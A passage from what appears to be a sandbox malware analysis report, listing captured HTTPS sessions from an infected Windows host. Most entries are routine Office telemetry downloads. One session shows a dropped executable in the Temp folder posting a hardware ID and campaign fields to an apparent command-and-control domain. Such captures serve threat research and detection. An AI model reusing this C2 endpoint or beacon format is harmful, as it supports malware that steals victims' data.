</RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:19 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:19 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: ad01162d-901e-0064-5fc3-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050119Z-16547b76f7fxsvjdhC1DFWprrs00000007h000000000g6f1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:19 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 9eee1406-f01e-0020-6e5f-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050119Z-15869dbbcc62nmdhhC1DFWg2r400000000vg00000000f93b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:19 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: b08168fd-d01e-0017-295c-2eb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050119Z-17df447cdb5fzdpxhC1DFWdd3400000003w000000000bsaz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:19 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:19 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:19 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a77e48bb-901e-0083-2fa0-30bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050119Z-17df447cdb5km9skhC1DFWy2rc000000040g00000000bvsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:19 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:19 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:19 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 182ca2aa-101e-00a2-3955-2e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050119Z-17df447cdb5bz95mhC1DFWnk7w00000003s0000000004e6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:19 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:20 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:20 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:20 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 117ebb00-e01e-0020-3440-2ede90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050120Z-15869dbbcc662ldwhC1DFWbd5g000000014000000000aftx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:20 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:20 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:20 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:20 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 3018dbe1-101e-008d-70d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050120Z-16547b76f7fj897nhC1DFWdwq400000007mg000000001twz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:20 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:20 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:20 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:20 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050120Z-16547b76f7fnm7lfhC1DFWkxt400000007hg00000000d8hg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:20 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49854	104.21.5.155	443	3288	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:20 UTC	369	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=j3aUDY3aeWLdcGsJ9f5a_a2khnnbc8XpmOBYbeoSjy4-1730955676-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: founpiuer.store
2024-11-07 05:01:20 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 37 31 32 34 33 30 39 45 43 33 41 45 42 37 42 39 34 31 38 39 36 36 35 36 31 46 41 32 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"ED7124309EC3AEB7B9418966561FA291--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-07 05:01:20 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p8fmp1n1lfdcse08up61aq78eo; expires=Sun, 02-Mar-2025 22:47:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=801CJnkAd2Q%2Bqd2aGQLqaEbh4HGekwRG0wcMubFhd%2BljYVSjsyYa9lImr%2FFkwj%2FHfg0wrIAng05iktfbZ%2BjP6q8LwZHkdo4mhbpdT9CYy394KbSHz33Xgl6F38RUEj55EAc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8deac3cb1f296bdd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1898&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2839&recv_bytes=9816&delivery_rate=1607103&cwnd=251&unsent_bytes=0&cid=d5c4af67f6536268&ts=577&x=0"
2024-11-07 05:01:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 0d 0a Data Ascii: 11ok 173.254.250.79
2024-11-07 05:01:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:20 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:20 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 4df37937-b01e-003d-35ab-2bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050120Z-16547b76f7f9rdn9hC1DFWfk7s00000007k000000000mtcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:20 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:20 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:20 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: fcf0554e-001e-0046-7a53-2eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050120Z-15869dbbcc6tjwwhhC1DFWn22800000000w000000000hpth x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:20 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:20 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
